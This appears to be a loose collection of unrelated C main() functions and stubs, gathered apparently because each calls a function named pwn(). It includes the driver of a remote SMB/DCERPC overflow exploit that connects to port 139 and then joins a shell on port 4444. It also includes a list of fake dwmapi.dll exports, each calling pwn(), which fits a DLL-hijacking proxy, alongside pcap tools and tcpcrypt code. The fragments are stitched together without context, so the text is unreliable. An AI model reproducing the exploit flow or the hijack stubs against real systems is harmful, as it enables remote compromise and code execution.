int main(int argc, char **argv) { if(argc < 3) exp_help(); else process_args(argc, argv); printf("[+] Connecting target %s\n", target_host); connect_host(inet_addr(target_host), 139); printf("[+] Setting up SMB Session\n"); session_setup(); printf("[+] Triggering up DCERPC reassembly\n"); build_trigger(); pwn(); printf("[+] Triggering overflow\n"); build_pwnage(); pwn(); disconnect_host(); sleep(1); printf("[+] Attempting to join shell\n"); connect_host(inet_addr(target_host), 4444); join_shell(sock); return 0; }
int main(int argc, char *argv[]) { char *out; int i; if (argc < 3) { printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]); exit(1); } out = argv[1]; _outfd = open_pcap(out); for (i = 2; i < argc; i++) { char *in = argv[i]; int prog = (int) (((double) (i - 1)) / ((double)(argc - 2)) * 100.0); printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog); fflush(stdout); pwn(in); } printf("Done\n"); exit(0); }
int main(int argc, char * argv[]) { if (argc < 3) { printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]); return (EXIT_FAILURE); } _outfilename = strdup(argv[1]); if (_outfilename == NULL) { perror("strdup()"); return (EXIT_FAILURE); } for (int i = 2; i < argc; i++) { const char * in = argv[i]; int prog = (int) (((double) (i - 1)) / ((double) (argc - 2)) #if defined(__x86_64__) && defined(__CYGWIN__) * (0.0f + 100)); #else * 100.0); #endif printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog); fflush(stdout); pwn(in); } // Cleanup free_data(); printf("Done\n"); exit(EXIT_SUCCESS); }
DllExport void DwmGetGraphicsStreamClient() { pwn(); }
DllExport void DwmUnregisterThumbnail() { pwn(); }
DllExport void DwmSetPresentParameters() { pwn(); }
DllExport void DwmQueryThumbnailSourceSize() { pwn(); }
DllExport void DwmIsCompositionEnabled() { pwn(); }
DllExport void DwmDetachMilContent() { pwn(); }
DllExport void DwmDefWindowProc() { pwn(); }
DllExport void DWMAPI_120() { pwn(); }
DllExport void DWMAPI_119() { pwn(); }
DllExport void DWMAPI_108() { pwn(); }
DllExport void DwmEnableComposition() { pwn(); }
DllExport void CPAcquireContext() { pwn(); }
DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }
DllExport void DwmGetTransportAttributes() { pwn(); }
DllExport void DwmEnableBlurBehindWindow() { pwn(); }
DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }
DllExport void DwmEnableMMCSS() { pwn(); }
DllExport void DwmSetDxFrameDuration() { pwn(); }
DllExport void DwmExtendFrameIntoClientArea() { pwn(); }
DllExport void DwmSetWindowAttribute() { pwn(); }
DllExport void DwmFlush() { pwn(); }
DllExport void DwmUpdateThumbnailProperties() { pwn(); }
DllExport void DwmGetColorizationColor() { pwn(); }
DllExport void DwmGetCompositionTimingInfo() { pwn(); }
int main(int argc, char *argv[]) { int ch; #ifdef __WIN32__ WSADATA wsadata; if (WSAStartup(MAKEWORD(1,1), &wsadata) == SOCKET_ERROR) errx(1, "WSAStartup()"); #endif _conf.cf_port = 666; _conf.cf_ctl = TCPCRYPT_CTLPATH; _conf.cf_test = -1; _conf.cf_test_server = "check.tcpcrypt.org"; while ((ch = getopt(argc, argv, "hp:vdu:camnPt:T:S:Dx:NC:M:Rifs:V")) != -1) { switch (ch) { case 'i': _conf.cf_disable_timers = 1; break; case 'R': _conf.cf_rsa_client_hack = 1; break; case 'M': _conf.cf_mac = atoi(optarg); break; case 'C': _conf.cf_cipher = atoi(optarg); break; case 'N': _conf.cf_nat = 1; break; case 'D': _conf.cf_debug = 1; break; case 'S': profile_setopt(PROFILE_TIME_SOURCE, atoi(optarg)); break; case 'x': add_param(&_conf.cf_divert_params, optarg); break; case 'T': add_param(&_conf.cf_test_params, optarg); break; case 't': _conf.cf_test = atoi(optarg); break; case 'P': _conf.cf_profile++; break; case 'n': _conf.cf_dummy = 1; break; case 'a': _conf.cf_accept = 1; break; case 'm': _conf.cf_modify = 1; break; case 'c': _conf.cf_nocache = 1; break; case 'u': _conf.cf_ctl = atoi(optarg); break; case 'd': _conf.cf_disable = 1; break; case 'p': _conf.cf_port = atoi(optarg); break; case 'v': _conf.cf_verbose++; break; case 'V': printf("tcpcrypt version %s\n", TCPCRYPT_VERSION); exit(0); case 'f': _conf.cf_disable_network_test = 1; break; case 's': _conf.cf_test_server = optarg; break; case 'h': default: usage(argv[0]); exit(0); break; } } resolve_server(); if (signal(SIGINT, sig) == SIG_ERR) err(1, "signal()"); if (signal(SIGTERM, sig) == SIG_ERR) err(1, "signal()"); #ifndef __WIN32__ if (signal(SIGPIPE, SIG_IGN) == SIG_ERR) err(1, "signal()"); #endif profile_setopt(PROFILE_DISCARD, 3); profile_setopt(PROFILE_ENABLE, _conf.cf_profile); pwn(); cleanup(); exit(0); }